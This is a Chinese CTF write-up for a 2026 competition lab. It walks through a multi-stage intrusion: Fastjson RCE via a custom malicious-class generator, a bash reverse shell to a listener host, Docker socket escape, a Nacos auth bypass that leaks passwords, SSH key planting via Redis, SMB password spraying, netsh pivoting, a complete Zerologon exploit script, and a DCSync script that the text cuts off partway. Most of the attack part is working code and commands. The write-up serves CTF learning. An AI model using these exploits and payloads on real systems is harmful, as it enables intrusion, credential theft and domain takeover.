磐石行动2026复赛

作者:流云技术札 发布:2026-09-08 08:00 收录:2026-09-08 10:31 5 次阅读 约 7092 字
摘要:菜了,不会做喵
推荐理由:本文涵盖「反序列化」、「域控」、「内网渗透」等多个主题,重点关注 反序列化。

前言以及叠甲

做磐石复赛的时候看到这个反序列化相关就想做一下,但是因为队友开始都在做其他靶机,我在比赛时间内只完成了flag1,且未进行提交;在比赛结束后到wp提交的12小时内,我让ai跑通了整个域控题目;主要是做这种多层内网域控靶机较少,想着多点经验,学习一下,最后我在磐石的队伍名是 神奇山校车 如果赛方查验能验证队伍从未提交 从反序列化到域控的 72 小时的flag,比赛全程未使用ai
至此叠甲完毕

然后因为ai跑出来的时候已经是上午11点了,又因为时间原因所以只复现了前两个flag,若有纰漏请指出,感谢!!!

还有这md导出的公众号文章格式真的很烂,见谅,有师傅有其他解决方案也可以在下面留言

从反序列化到域控的 72 小时

先对入口机进行端口扫描

┌──(root㉿kali)-[~] └─# nmap -A -sV -T4 -p- 10.100.165.6   Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-07 12:00 +0800 Nmap scan report for 10.100.165.6 Host is up (0.015s latency). Not shown: 65533 closed tcp ports (reset) PORT     STATE SERVICE VERSION 22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey:  |   256 8e:3b:67:f4:32:f6:ff:4e:1e:3f:21:79:67:33:6d:40 (ECDSA) |_  256 51:d7:c3:44:d3:dc:3c:1c:f7:7b:90:6d:9e:67:cf:f8 (ED25519) 8080/tcp open  http    JBoss Enterprise Application Platform |_http-title: Site doesn't have a title (application/json). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=9/7%OT=22%CT=1%CU=38066%PV=Y%DS=4%DC=T%G=Y%TM=6A9E3761 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ( OS:SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=10E%TI=Z%C OS:I=Z%II=I%TS=A)SEQ(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F7%GCD OS:=2%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O3=M550 OS:NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=FB34%W2=FB34%W OS:3=FB34%W4=FB34%W5=FB34%W6=FB34)ECN(R=Y%DF=Y%T=40%W=FD5C%O=M550NNSNW7%CC= OS:Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T= OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0 OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40% OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)  Network Distance: 4 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  TRACEROUTE (using port 554/tcp) HOP RTT      ADDRESS 1   13.61 ms 10.101.38.1 2   13.57 ms 172.17.0.1 3   13.66 ms 10.10.28.254 4   13.67 ms 10.100.165.6  OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 103.89 seconds

Fastjson 反序列化 RCE

这里查看web8080端口发现接口

curl -s http://xxx/ # {"message":"JSON API","endpoints":["/parse"]}
image

/parse 接收 JSON 并解析,尝试fastjson的@type发现有报错

这里先进行Fastjson精确版本探测

探测 payload
不报错
报错
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}
1.2.83 / 1.2.24
1.2.25–1.2.80
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}
1.2.24–1.2.68
1.2.70–1.2.83
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}
1.2.24–1.2.47
1.2.48–1.2.83
{"zero":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}
1.2.24
1.2.25–1.2.83

探测出fastjson版本是1.2.83

1. 漏洞原理

Fastjson 1.2.83 默认封了 AutoType 的常见黑名单(java.net.URLJdbcRowSetImpl 等),但题目应用开了 autoTypeSupport。我们用 jar:http:// 内联类加载 + @JSONType 注解 这条信任路径:让目标 JVM 从我们的 VPS 加载一个恶意 .class,执行它的 <clinit>(静态初始化块)来跑命令。

关键绕过:Fastjson 黑名单匹配字符串 http:// / jar:,我们把 URL 里的 :// 写成 :../ 写成 .,Java 的 URL 解析器仍能正确还原,但黑名单匹配不到。这就是 payload 里出现 jar:http:..<ipInt>:<port>.<path>!.<clsName> 的原因(ipInt 是 IP 的十进制整数形式)。

2. 恶意类生成器 GenProbe.java(完整源码)

用 ASM 直接生成字节码,核心逻辑:在 <clinit> 里执行 Runtime.getRuntime().exec(new String[]{"/bin/bash","-c", cmd}),并给类打上 @JSONType 注解。

保存为 GenProbe.java(放在 fj83/ 目录,旁边放 asm-9.6.jar):

import org.objectweb.asm.*; import java.io.*; import java.nio.file.*; import java.util.jar.*;  public class GenProbe {     public static void main(String[] args) throws Exception {         String lhost = args.length > 0 ? args[0] : "127.0.0.1";   // VPS IP         String lport = args.length > 1 ? args[1] : "80";           // VPS 端口         String cmd   = args.length > 2 ? args[2] : "id";           // 要执行的命令         String tag   = args.length > 3 ? args[3] : "";             // 每次换 TAG,绕过类加载缓存          String clsName = "POC" + tag;      // 唯一类名         String path    = "probe" + tag;    // 唯一 URL 路径          // IP 字符串 → 十进制整数(payload 里用整数形式)         String[] parts = lhost.split("\\.");         long ipInt = (Long.parseLong(parts[0]) << 24) | (Long.parseLong(parts[1]) << 16)                    | (Long.parseLong(parts[2]) << 8) | Long.parseLong(parts[3]);          // 内部名 = 实际 jar URL(正常写法)         String internalName = "jar:http://" + ipInt + ":" + lport + "/" + path + "!/" + clsName;          ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);         cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null);          // 关键:@JSONType 注解,触发 Fastjson 信任路径         cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();          // 构造函数         MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);         init.visitCode();         init.visitVarInsn(Opcodes.ALOAD, 0);         init.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);         init.visitInsn(Opcodes.RETURN);         init.visitMaxs(1, 1);         init.visitEnd();          // static {} —— 执行命令         MethodVisitor clinit = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);         clinit.visitCode();         clinit.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);         clinit.visitInsn(Opcodes.ICONST_3);         clinit.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String");         clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_0);         clinit.visitLdcInsn("/bin/bash"); clinit.visitInsn(Opcodes.AASTORE);         clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_1);         clinit.visitLdcInsn("-c"); clinit.visitInsn(Opcodes.AASTORE);         clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_2);         clinit.visitLdcInsn(cmd); clinit.visitInsn(Opcodes.AASTORE);         clinit.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);         clinit.visitInsn(Opcodes.POP);         clinit.visitInsn(Opcodes.RETURN);         clinit.visitMaxs(5, 0);         clinit.visitEnd();          cw.visitEnd();          // 打包成 jar,并拷贝到 HTTP 目录         Files.createDirectories(Paths.get("poc/www"));         Path jarPath = Paths.get("poc/probe.jar");         try (JarOutputStream jos = new JarOutputStream(new FileOutputStream(jarPath.toFile()))) {             jos.putNextEntry(new JarEntry(clsName + ".class"));             jos.write(cw.toByteArray());             jos.closeEntry();         }         Files.copy(jarPath, Paths.get("poc/www/" + path), StandardCopyOption.REPLACE_EXISTING);          System.out.println("[+] poc/probe.jar & poc/www/" + path + " generated");         // 输出最终 payload(注意 :// 已替换成 :..,/ 替换成 .)         System.out.println("[+] Payload: {\"@type\":\"jar:http:.." + ipInt + ":" + lport + "." + path + "!." + clsName + "\",\"x\":1}");     } }

3. 编译 + 生成 payload + 触发 + fantanshell

cd fj83 javac -cp .:asm-9.6.jar GenProbe.java  # 把生成的恶意jar包放到/probe1目录下用于触发 # 同时开http服务让跳板机访问  python3 -m http.server 80 # POST /parse,@type=jar:http://<VPS>:80/probe1!/POCprobe1

手动单次验证(RCE 确认):

# 生成 payload(命令是 id) java -cp .:asm-9.6.jar GenProbe 10.101.38.3 8000 \   "bash -i >& /dev/tcp/10.101.38.3/4444 0>&1" shell1 # 输出最后一行类似: # [+] Payload: {"@type":"jar:http:..<ipInt>:80.probe1!.POCprobe1","x":1}

把输出的 payload 复制出来,POST 给 /parse

curl -s -X POST http://10.100.71.50:8080/parse \   -H 'Content-Type: application/json' \   --data-binary '<打印出来的 payload>'

注意:生成的 payload 里的 URL 用了 :.. 和 . 混淆,<ipInt> 是 IP 的十进制整数形式(例如 47.96.255.147 → 计算方式见脚本),不要手写错。稳妥做法是直接复制脚本打印出来的那串。

nc -lvnp 4444
Note

这里当时直接在本机反弹时失败了,ai说是因为单向vpn无法反连,因此使用公网vps进行反弹shell

Docker容器逃逸

拿到bash后发现是docker环境,但已经拿到docker的root权限

核心原理

默认情况下,dockerd 会在宿主机上创建一个 Unix 域套接字文件 /var/run/docker.sock,作为本地客户端和服务端通信的通道。只要拥有对这个 socket 文件的读写权限,就等价于拥有了控制 Docker daemon 的全部权限,也就等价于间接拿到了宿主机的 root 权限。

当容器内部挂载了宿主机的 /var/run/docker.sock 时,容器里的进程就可以直接和宿主机的 dockerd 通信,突破容器的隔离边界,这就是 Docker socket 逃逸的核心前提。

逃逸步骤逐段解释

1. 确认 docker.sock 是否挂载

进入容器后第一步先验证:容器里有没有宿主机挂载进来的 docker.sock。

  • ls -l /var/run/docker.sock
    :查看文件是否存在、权限是否可读写;
  • mount | grep docker
     / cat /proc/self/mountinfo | grep docker.sock:确认这个 socket 是从宿主机挂载进来的,而非容器内部自己生成的。
srw-rw---- 1 root 994 0 Sep 6 23:23 docker.sock # /var/run/docker.sock

只要确认挂载且有读写权限,就具备了逃逸条件。

2. 两种方式控制宿主机 Docker daemon

只要能和 docker.sock 通信,就能调用 Docker 的全部管理能力,有两种常用实现方式:

方式 A:容器内有 docker 客户端(docker CLI)

直接用 docker -H unix:///var/run/docker.sock 指定连接到这个本地 socket,后续所有 docker 命令都会直接发给宿主机的 dockerd,效果和在宿主机上执行 docker 命令完全一致。 比如执行 docker ps 看到的是宿主机上的所有容器,而不是当前容器内部的进程。

方式 B:无 docker 命令时,用 curl 直连 Docker API

Docker daemon 对外提供的是 RESTful HTTP API,底层通过 Unix socket 传输。curl 支持 --unix-socket 参数直接通过 Unix socket 发送 HTTP 请求,因此不需要安装 docker 客户端也能完整调用 Docker API。

常用接口对应关系:

  • GET /containers/json
     → 等价于 docker ps,列出所有容器
  • POST /containers/create
     → 等价于 docker create,创建新容器
  • POST /containers/<容器名>/start
     → 等价于 docker start,启动容器
# 列出容器 curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json  # 创建并启动一个特权容器,把宿主机根目录挂到 /mnt/host curl -s --unix-socket /var/run/docker.sock -X POST \   -H 'Content-Type: application/json' \   'http://localhost/containers/create?name=esc' \   -d '{"Image":"alpine","Cmd":["sleep","3600"],"HostConfig":{"Privileged":true,"Binds":["/:/mnt/host"]}}'  curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/esc/start

3. 创建特权容器,彻底拿到宿主机控制权

光控制 Docker 还不够,最终目的是访问宿主机文件系统、拿到 root 权限。最常规的做法是:通过 dockerd 创建一个特权容器,把宿主机的根目录直接挂载进新容器

配置里两个关键参数:

  • "Privileged":true
    :开启特权模式,容器将获得几乎所有宿主机内核权限,突破默认的能力限制、设备隔离;
  • "Binds":["/:/mnt/host"]
    :把宿主机的根目录 / 挂载到新容器内的 /mnt/host 路径,新容器里可以直接读写宿主机的全部文件

4. 读取 flag / 持久化宿主机 root 权限

新的特权容器启动后,宿主机根目录就在 /mnt/host 下,此时有多种拿权限的方式:

  1. 直接读 flag
    :最简单,cat /mnt/host/root/flag1 就能直接读到宿主机上的 flag 文件;
  2. 写 SSH 公钥持久化访问
    :把自己的 SSH 公钥追加到 /mnt/host/root/.ssh/authorized_keys 里,之后就能直接用 SSH 登录宿主机 root 用户,适合需要长期保留权限的场景;
  3. chroot 切换根目录
    :直接执行 chroot /mnt/host,完全切换到宿主机的根文件系统,和直接登录宿主机几乎没有区别。

Nacos鉴权绕过

拿到跳板机root后确认跳板机网络,确认L2内网

ip a ip route # eth0 = 10.100.71.50/16 (对外) # eth1 = 192.168.23.20/24  (L2 内网)

对L2内网进行存活主机探测并扫描端口
这里只发现一台存活主机192.168.23.111

arp-scan -interface=eth1 --localnet  nmap -A -sV -T4 -p- 192.168.23.111

开放端口如下
能看到redis开放外网端口
且存在Nacos服务

22/tcp    ssh 6379/tcp  redis 7848/tcp  (JRaft/gRPC) 8848/tcp  (Nacos HTTP) 9848/tcp  (Nacos gRPC client) 9849/tcp  (Nacos gRPC server)

Nacos 2.0.1 CVE-2021-29441

先查nacos版本,访问接口发现 version:2.0.1

http://192.168.23.111:8848/nacos/v1/console/server/state  {"standalone_mode":"standalone","function_mode":null,"version":"2.0.1", ...}

这个版本落在 CVE-2021-29441 的影响范围(≤ 2.0.2)

这个 CVE 的公开结论是:Nacos 的鉴权过滤器里有 UserAgentRequestMatcher,它判断“如果请求头 User-Agent 是 Nacos-Server,就认为这是服务端之间的内部调用,直接放行、不做鉴权

所以只需要在请求配置列表接口时,把头改成 Nacos-Server

# 在跳板机上执行 curl -s -H 'User-Agent: Nacos-Server' \   'http://192.168.23.111:8848/nacos/v1/cs/configs?dataId=&group=&tenant=&pageNo=1&pageSize=100&search=blur'
Note

返回的 pageItems 里有一堆配置,其中 inventory-service.properties 里的 Inventory@2024! 是真实 Redis 口令,其余大多是诱饵,但应该将这些得到的密码写入爆破字典备用

#product-service.yaml  # 产品服务配置 server:   port: 8085 spring:   datasource:     url: jdbc:mysql://localhost:3306/product_db?useSSL=false     username: product_user     password: Product@2024!   elasticsearch:     uris: http://localhost:9200     username: elastic     password: elastic@2024! product:   cache:     redis:       host: localhost       port: 6379       password: Redis@2024!
#inventory-service.properties  # 库存服务配置 server.port=8086 spring.datasource.url=jdbc:mysql://localhost:3306/inventory_db?useSSL=false spring.datasource.username=inventory_admin spring.datasource.password=Inventory@2024! inventory.alert.threshold=10 inventory.sync.cron=0 0/5 * * * ?
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,  "pageItems":[{"username":"nacos",    "password":"$2a$10$/RkDhinC6/ZeckE0iS77ZOcCtwk.GfkONb/59KIPSH9OsU/uya/j."}]}

能看到有相当多的密码泄露,还能看到泄露了 Nacos 控制台账号的 bcrypt 哈希

Redis 3.2.2 RDP持久化

用 redis-cli 连接

redis-cli -h 192.168.23.111 -p 6379 -a 'Inventory@2024!' --no-auth-warning

进入 redis 进行权限分析和命令探测,发现可以直接进行RDP持久化

CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SET x "\n\n<你的公钥内容>\n\n" SAVE CONFIG SET dir /

这里公钥前后必须包 \n\n,否则 RDB 二进制格式里 SSH 解析不出公钥,登录会 Permission denied (publickey,password)

ssh -i /root/.ssh/id_ed25519 root@192.168.23.111

架设内网代理转发

这里因为是连续linux机子,可以用ssh非常简单完成代理转发

用ssh构建代理隧道

ssh -D 1080 -N -f \   -o StrictHostKeyChecking=no \   -J root@10.100.71.50 \   root@192.168.23.111

然后用proxychains4强制转发流量至本地1080转发端口

proxychains4 nmap -Pn -p 135,139,445,3389,5985,5986 10.177.10.133

SMB 密码喷洒

确认 Nacos 双网卡:

ip a eth0 = 10.177.10.22/24  (L3 网卡) eth1 = 192.168.23.111/24

对L3内网进行存活主机探测并扫描端口
这里只发现一台存活主机10.177.10.133 PC-WIN10

arp-scan -interface=eth1 --localnet  nmap -A -sV -T4 -p- 10.177.10.133
Note

注意这里需要SSH 登进 Nacos,在 Nacos 本地对 eth0 跑 arp-scan / ping+arp -a,不能在 Kali 上 proxychains4 经 SOCKS 去“扫”;因为ARP 帧直接在 L3 网段发出,能命中 PC-WIN10,而SOCKS5 是 TCP(四层)隧道,ARP(二层)帧根本穿不过隧道

端口扫描结果如下

135/tcp  open  msrpc 139/tcp  open  netbios-ssn 445/tcp  open  microsoft-ds 3389/tcp open  ms-wbt-server   (RDP) 5985/tcp open  http            (WinRM) 5986/tcp open  https           (WinRM over SSL)

明显是windows机,winrm用于windows远控
winrm无凭据无法连接
129&445明显smb,对其进行匿名查询

匿名会话默认关闭,尝试进行爆破

cat > /tmp/pass.txt <<'EOF' User@2024! Order@2024! Redis@2024! Product@2024! Inventory@2024! Admin@2024! Git@2024! Mail@2026! elastic@2024! EOF

这里访问RDP登录框嫩刚看到登录界面预填了用户名 PC-WIN10\idss
但是idss爆破失败,最终是爆破administrator成功

proxychains4 nxc smb 10.177.10.133 -u administrator -p /tmp/decoy_pw.txt --local-auth --continue-on-success # => [+] PC-WIN10\administrator:Git@2024! (Pwn3d!)

密码喷洒时使用了--local-auth

  • --local-auth
     的作用就是明确指定:走本地工作组 NTLM 认证,不要去域控做 Kerberos / 域认证;
  • 验证通过 = 确认了 PC-WIN10\administrator 这个本地账户的密码正确,且该账户具备 SMB 服务的访问权限。

因此拿到administrator系统账密后直接通过135rpc连接

proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \   "whoami & hostname & ipconfig"

继续查看网卡发现还有L4内网

proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" "ipconfig"  # interface1: 10.177.10.133/24 (L3) # interface2: 10.177.11.122/24 (L4)

这里写脚本继续进行arp扫描存活主机

Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class ArpScan {     [DllImport("iphlpapi.dll", SetLastError = true)]     public static extern uint SendARP(uint destIP, uint srcIP, byte[] mac, ref uint macLen); } "@  function IPToUInt($ip) {     $b = ([System.Net.IPAddress]::Parse($ip)).GetAddressBytes()     [Array]::Reverse($b)     return [BitConverter]::ToUInt32($b, 0) }  1..254 | ForEach-Object {     $ip = "10.177.11.$_"     $mac = New-Object byte[] 6     $len = [uint32]6     $ret = [ArpScan]::SendARP (IPToUInt $ip) 0 $mac [ref]$len     if ($ret -eq 0 -and $len -eq 6) {         $macStr = ($mac | ForEach-Object { $_.ToString("x2") }) -join ":"         Write-Host "$ip ALIVE  $macStr"     } }

发现DC2026主机 10.177.11.11

写powershell脚本扫描端口

param(     [Parameter(Mandatory=$true)][string]$Target,      # 目标 IP,如 10.177.11.11     [int[]]$Ports   = (1..65535),                     # 默认全端口,可改成 @(135,139,445,3389,...)     [int]$Threads   = 128,     [int]$TimeoutMs = 500 ) $ErrorActionPreference = 'SilentlyContinue'  $pool = [runspacefactory]::CreateRunspacePool(1, $Threads) $pool.Open()  $jobs = foreach ($p in $Ports) {     $ps = [powershell]::Create()     $ps.RunspacePool = $pool     [void]$ps.AddScript({         param($h, $port, $to)         $c = New-Object System.Net.Sockets.TcpClient         try {             $r = $c.BeginConnect($h, $port, $null, $null)             if ($r.AsyncWaitHandle.WaitOne($to) -and $c.Connected) {                 "$h`:$port OPEN"             }         } finally { $c.Close() }     }).AddArgument($Target).AddArgument($p).AddArgument($TimeoutMs)      [pscustomobject]@{ Pipe = $ps; Handle = $ps.BeginInvoke() } }  foreach ($j in $jobs) {     $j.Pipe.EndInvoke($j.Handle) | Where-Object { $_ } | Write-Host     $j.Pipe.Dispose() } $pool.Dispose()
Note

注意:Windows PowerShell 5.1 用上面这个 RunspacePool 版本;如果是 PowerShell 7+,可以直接用 ForEach-Object -Parallel,但 PC-WIN10 默认是 5.1,所以上面按 5.1 写。

这里能扫描到smb

架设内网代理转发2

用 Windows 自带的 netsh interface portproxy 把 DC2026 的两个关键端口转发到 PC-WIN10 上:

  • 1445 → 10.177.11.11:445
     (SMB)
  • 149667 → 10.177.11.11:49667
    (DRSUAPI 动态 RPC,DCSync 用)

在 PC-WIN10 上执行(通过 wmiexec):

# 加 portproxy 转发 proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \   "netsh interface portproxy add v4tov4 listenport=1445 listenaddress=0.0.0.0 connectport=445 connectaddress=10.177.11.11" proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \   "netsh interface portproxy add v4tov4 listenport=149667 listenaddress=0.0.0.0 connectport=49667 connectaddress=10.177.11.11"  # 放行防火墙(否则 Nacos 连 PC-WIN10 的 1445/149667 会被拦) proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \   "netsh advfirewall firewall add rule name=pp1445 dir=in action=allow protocol=TCP localport=1445" proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \   "netsh advfirewall firewall add rule name=pp149667 dir=in action=allow protocol=TCP localport=149667"  # 确认转发规则已生效 proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \   "netsh interface portproxy show all"

要点

  • netsh interface portproxy 依赖 IP Helper 服务(iphlpsvc),一般默认在跑;
  • 转发的是 TCP 流,SMB(445)和 DRSUAPI(49667)都是 TCP,所以能通;

验证转发已通(现在 Kali 经 SOCKS 访问 10.177.10.133:1445 就等于连 DC2026 的 445):

proxychains4 nxc smb 10.177.10.133 --port 1445 -u '' -p '' --shares

预期 banner 显示:

[*] Windows 10 / Server 2019 Build 17763 (name:DC2026) (domain:idsscos.load) ... (Null Auth:True)

Zerologon(CVE-2020-1472)清空机器账户口令

在进行nxc smb验证转发时会发现

Server 2019 Build 17763 (name:DC2026) (domain:idsscos.load) ... Null Auth:True

暴露了如下信息

信号
含义
指向
Server 2019 Build 17763
操作系统是 Windows Server 2019(LTSC,2018 发布)
Zerologon 的受影响范围
name: DC2026 + domain: idsscos.load
它是域控(名字带 DC,且真的在服务 idsscos.load 域)
确认它是真 DC,不是普通成员机
(CTF 语境)
靶场里的 DC 基本是“故意不打补丁”当考点
未打补丁假设

DC2026 是 Server 2019 Build 17763(未打 Zerologon 补丁)。Zerologon 能把域控机器账户 DC2026$ 的口令清空,之后就能用 DC2026$(空口令)做 DCSync。

Note

Zerologon 的原理是 Netlogon RPC 里 AES-CFB8 的 IV 初始值错误(全零 IV 有 1/256 概率被服务器接受),所以脚本做的事就是:NetrServerChallenge → NetrServerAuthenticate3(用全零密文重试 2000 次,约 1/256 命中)→ NetrServerPasswordSet2(把 DC2026$ 机器账户口令设成空)。脚本返回成功,就等于漏洞被实测确认了

脚本 zerologon_np.py

因为只转发了 445(没有 135),标准 Zerologon(走 ncacn_ip_tcp + 动态端口)用不了,所以改成走 ncacn_np(SMB 命名管道 \pipe\netlogon

#!/usr/bin/env python3 # CVE-2020-1472 (Zerologon) over ncacn_np (\pipe\netlogon, port 445). # 适配 portproxy/socat 只转发 445 的场景。 from impacket.dcerpc.v5 import nrpc from impacket.dcerpc.v5 import transport import sys  MAX_ATTEMPTS = 2000  def fail(msg):     print(msg, file=sys.stderr)     sys.exit(2)  def connect_np(dc_ip):     host = dc_ip     port = 445     if ':' in dc_ip:         host, port = dc_ip.rsplit(':', 1)         port = int(port)     binding = r'ncacn_np:%s[\pipe\netlogon]' % host     rpc_transport = transport.DCERPCTransportFactory(binding)     rpc_transport.set_dport(port)          # 关键:set_dport 在 transport 对象上     rpc_con = rpc_transport.get_dce_rpc()     rpc_con.connect()     rpc_con.bind(nrpc.MSRPC_UUID_NRPC)     return rpc_con  def try_zero_authenticate(rpc_con, dc_handle, target_computer):     plaintext = b'\x00' * 8     ciphertext = b'\x00' * 8     flags = 0x212fffff     nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)     try:         server_auth = nrpc.hNetrServerAuthenticate3(             rpc_con, dc_handle + '\x00', target_computer + '$\x00',             nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,             target_computer + '\x00', ciphertext, flags)         assert server_auth['ErrorCode'] == 0         return True     except nrpc.DCERPCSessionError as ex:         if ex.get_error_code() == 0xc0000022:             return None         else:             fail(f'Unexpected error code from DC: {ex.get_error_code()}.')     except BaseException as ex:         fail(f'Unexpected error: {ex}.')  def exploit(dc_handle, rpc_con, target_computer):     request = nrpc.NetrServerPasswordSet2()     request['PrimaryName'] = dc_handle + '\x00'     request['AccountName'] = target_computer + '$\x00'     request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel     authenticator = nrpc.NETLOGON_AUTHENTICATOR()     authenticator['Credential'] = b'\x00' * 8     authenticator['Timestamp'] = 0     request['Authenticator'] = authenticator     request['ComputerName'] = target_computer + '\x00'     request['ClearNewPassword'] = b'\x00' * 516     return rpc_con.request(request)  def perform_attack(dc_name, dc_ip):     victim = dc_name.rstrip('$')     handle = '\\\\' + victim     print('Connecting to %s (netlogon pipe) ...' % dc_ip)     rpc_con = connect_np(dc_ip)     print('Performing authentication attempts...')     result = None     for attempt in range(0, MAX_ATTEMPTS):         result = try_zero_authenticate(rpc_con, handle, victim)         if result is None:             print('=', end='', flush=True)         else:             break     if result:         print('\nTarget vulnerable, changing account password to empty string')         for attempt in range(0, MAX_ATTEMPTS):             try:                 result = exploit(handle, rpc_con, victim)             except nrpc.DCERPCSessionError as ex:                 if ex.get_error_code() == 0xc0000022:                     result = None                 else:                     fail(f'Unexpected error code from DC: {ex.get_error_code()}.')             except BaseException as ex:                 fail(f'Unexpected error: {ex}.')             if result is None:                 print('=', end='', flush=True)             else:                 break         print('\nResult ErrorCode: ', end='')         print(result['ErrorCode'])         if result['ErrorCode'] == 0:             print('Exploit complete! DC2026$ machine account password is now empty.')         else:             print('Non-zero return code, something went wrong?')     else:         print('\nAttack failed. Target is probably patched.')         sys.exit(1)  if __name__ == '__main__':     if len(sys.argv) != 3:         print('Usage: zerologon_np.py <dc-netbios-name> <dc-ip:port-or-ip>')         sys.exit(1)     perform_attack(sys.argv[1], sys.argv[2])
proxychains4 python3 zerologon_np.py DC2026 10.177.10.133:1445

参数说明:

  • DC2026
    :域控的 NetBIOS 名;
  • 10.177.10.133:1445
    :经 SOCKS 走 portproxy 后的地址,:1445 表示连接目标端口 1445(转发到 DC2026:445)。

预期输出(可能打印一排 等于号,表示在重试):

Exploit complete! DC2026$ machine account password is now empty.

DCSync 拉取域管理员 NT Hash

现在 DC2026$ 机器账户口令为空,用它做认证去 DCSync,把域 Administrator 的哈希拉出来。

这里还是需要自写脚本

  • DRSUAPI 走命名管道 \pipe\lsass 会 rpc_s_access_denied(环境特性);
  • impacket 自带的 secretsdump 默认靠 epmapper 找动态端口,而我只转发了 445 和 49667,没有 135/epmapper;
  • 所以直接写一个"已知端口 + ncacn_ip_tcp"的 DCSync,连 149667(转发到 49667)。

脚本 dcsync_tcp.py

#!/usr/bin/env python3 # 用法: dcsync_tcp.py <target> <rpc_port> <smb_port> <domain> <user> #   target    = 10.177.10.133   (portproxy 入口) #   rpc_port  = 149667          (转发到 DC2026:49667 DRSUAPI) #   smb_port  = 1445            (转发到 DC2026:445, 仅用于建立凭据) #   domain    = idsscos.load #   user      = idsscos\\Administrator from binascii import hexlify from struct import unpack import sys from impacket.dcerpc.v5 import drsuapi, transport from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket import ntlm from impacket.smbconnection import SMBConnection from impacket.uuid import string_to_bin  def main():     target = sys.argv[1]     rpc_port = int(sys.argv[2])     smb_port = int(sys.argv[3])     domain = sys.argv[4]     user = sys.argv[5]      # 1) 用机器账户 DC2026$ (空口令) 建 SMB 会话,拿到 NTLM 凭据     smb = SMBConnection(target, target, sess_port=smb_port)     smb.login('DC2026$', '', domain)      # 2) 用这些凭据连 DRSUAPI (ncacn_ip_tcp, 直接指定端口)     rpc = transport.DCERPCTransportFactory(r'ncacn_ip_tcp:%s' % target)     rpc.set_dport(rpc_port)     rpc.set_credentials(*(smb.getCredentials()))     dce = rpc.get_dce_rpc()     dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)     dce.connect()     dce.bind(drsuapi.MSRPC_UUID_DRSUAPI)      # 3) DRSBind     request = drsuapi.DRSBind()     request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID     drs = drsuapi.DRS_EXTENSIONS_INT()     drs['cb'] = len(drs)     drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | \                      drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION | \                      